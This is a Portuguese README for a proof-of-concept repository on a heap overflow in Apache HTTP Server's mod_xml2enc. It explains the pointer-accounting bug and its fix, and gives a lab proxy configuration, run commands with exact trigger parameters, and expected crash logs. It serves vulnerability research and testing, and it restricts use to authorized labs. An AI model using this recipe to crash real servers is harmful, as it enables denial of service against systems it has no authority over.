erberkan/cve-2026-42536-pocVulnerabilidade de estouro de buffer baseado em heap no Apache HTTP Server com mod_xml2enc, xml2StartParse e conteúdo não confiável
mod_xml2enc do Apache HTTP ServerEste repositório contém uma prova de conceito controlada para CVE-2026-42536, uma escrita fora dos limites baseada em heap no módulo mod_xml2enc do Apache HTTP Server. As versões 2.4.0 a 2.4.67 do Apache HTTP Server são afetadas; a versão 2.4.68 contém a correção upstream.
O resultado demonstrado é corrupção de memória seguida de um crash do worker do Apache. Disparos repetidos podem causar negação de serviço. Este PoC não demonstra execução remota de código, escalação de privilégios ou um reverse shell.
Este PoC envia intencionalmente conteúdo que pode derrubar um worker do Apache. Execute-o apenas em um ambiente descartável e isolado que você possui ou está explicitamente autorizado a testar. Não o aponte para sistemas de produção ou de terceiros.
O script permite apenas operação em loopback por padrão. A operação remota requer a flag explícita --allow-remote, mas essa flag não substitui a autorização.
xml2StartParse pode instruir o mod_xml2enc a pular bytes antes do elemento inicial configurado. No Apache HTTP Server 2.4.67, fix_skipto() avança o ponteiro do buffer de saída e reduz a quantidade de dados válidos, mas não reduz a capacidade de saída pelo mesmo deslocamento:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
A conversão de conjunto de caracteres posterior, portanto, recebe uma capacidade medida a partir da alocação original, mesmo que ctx->buf agora aponte para dentro dessa alocação. O PoC torna essa incompatibilidade observável combinando:
xml2StartParse html.Content-Type declarando charset=windows-1252.0x80 repetido, que se expande de um byte CP1252 para a codificação UTF-8 de três bytes do símbolo do euro.A conversão em expansão consome a capacidade obsoleta e pode escrever além do espaço real restante após o ponteiro avançado.
O Apache 2.4.68 corrige o erro de contabilização subtraindo o deslocamento ignorado de ctx->bblen:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
O PoC usa dois componentes HTTP:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
O Apache deve carregar os seguintes módulos:
filter
proxy
proxy_http
xml2enc
Use a seguinte configuração apenas em um laboratório isolado com Apache 2.4.67 ou anterior:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
A configuração padrão espera que poc.py seja executado no mesmo host ou namespace de rede do contêiner que o Apache. A porta 18081 é o backend de payload; as requisições devem ser enviadas para a rota filtrada do Apache na porta 18080.
Inicie a instância vulnerável do Apache e, em seguida, execute o PoC a partir do mesmo host ou contêiner descartável:
python3 poc.py
Os padrões são equivalentes a:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
Para um laboratório autorizado com duas máquinas, torne o backend de payload acessível a partir do Apache e atualize ProxyPass/ProxyPassReverse para usar o IP do laboratório do atacante. Em seguida, vincule o backend e direcione explicitamente para o endereço do Apache do laboratório:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
Não exponha a porta do backend além da rede de teste isolada.
Monitore o Apache enquanto executa o PoC. Dependendo da build e do gerenciador de processos, uma requisição do cliente pode falhar, ser redefinida ou retornar dados parciais enquanto o processo pai substitui o worker que sofreu crash.
Evidências típicas da build vulnerável testada incluíram:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
Em uma instalação gerenciada pelo systemd:
sudo journalctl -u apache2 -f
Para um contêiner Docker em primeiro plano:
docker logs -f CONTAINER_NAME
A rotatividade de PID do worker pode fornecer um sinal adicional:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
Falha de transporte por si só não é prova da vulnerabilidade. Confirme o crash no log de erros do Apache, no journal do sistema, na saída do sanitizer ou em um core dump.
Repita a mesma requisição contra o Apache HTTP Server 2.4.68 com os mesmos módulos e configuração de virtual-host. O backend de payload ainda deve receber a requisição, mas o worker do Apache deve permanecer ativo porque a capacidade de saída é reduzida junto com o ponteiro avançado.
Se o processo pai não substituir automaticamente o worker, reinicie apenas o serviço do laboratório descartável:
sudo systemctl restart apache2
ou reinicie o contêiner descartável:
docker restart CONTAINER_NAME